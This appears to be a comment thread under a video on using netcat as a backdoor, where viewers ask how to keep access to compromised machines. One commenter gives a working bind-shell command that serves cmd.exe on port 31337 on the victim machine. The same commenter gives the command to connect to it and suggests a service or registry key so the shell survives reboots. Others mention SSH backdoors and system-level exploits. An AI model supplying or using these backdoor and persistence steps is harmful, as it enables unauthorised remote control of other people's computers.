Using NetCat as a backdoor
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Can this only be done to a target that is on your network or to anyone in the world (that is vulnerable of coarse)?
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Does it require a server to be put on the host system? Or does it just break in using payloads?
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@xxlaffingmanxx Can the user of the other Machine see what you are doing or are you completly anonymous to him. Like do all the programs open up on his desktop and etc.
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Netcat!??! HAHA, noo. Use SSH backdoors instead ^^
skids...
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thanks very good
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Exploit exception: DCERPC FAULT => nca_s_fault_access_denied
THAT'S ALL I GOT
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where do you learn this stuff? where can i learn?
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@manusobscurus the exploit was prolly patched mate..
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@rlowe1980 there are always new exploits mate.. just have to look for them!
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how to do you maintain the backdoor????? if you close the meterpreter and the netcat console how do you reopen it?
fige86 2 years ago
Well, netcat is running on the other machine. so when i close meterpreter on my local machine, nothing happens to the netcat session. because the netcat session is listening for a connection, all you have to do is connect to it via netcat from your local machine. But, if the netcat session is lost, your done. netcat only listens for 1 session. so this is where you create a service or registry key to have it listen again upon restart or something. you gotta get creative =)
xxlaffingmanxx 2 years ago
is there any possible way you can give an example????? or just some hints????
thank youuuuuuu
fige86 2 years ago
nc -lvp 31337 -e cmd.exe [remote]
nc -vp 192.168.1.100 31337 [local]
though you should probably really read up on netcat to completely understand what each flag is doing. then understand what is actually going on. if it doesn't work your going to have to do some research =)
xxlaffingmanxx 2 years ago
howd u get administrative priv on that remote cmd with netcat?
manonfirex42 2 years ago
well, the exploit that initially got me into the machine gave me system level privileges. netcat was running as admin already.
xxlaffingmanxx 2 years ago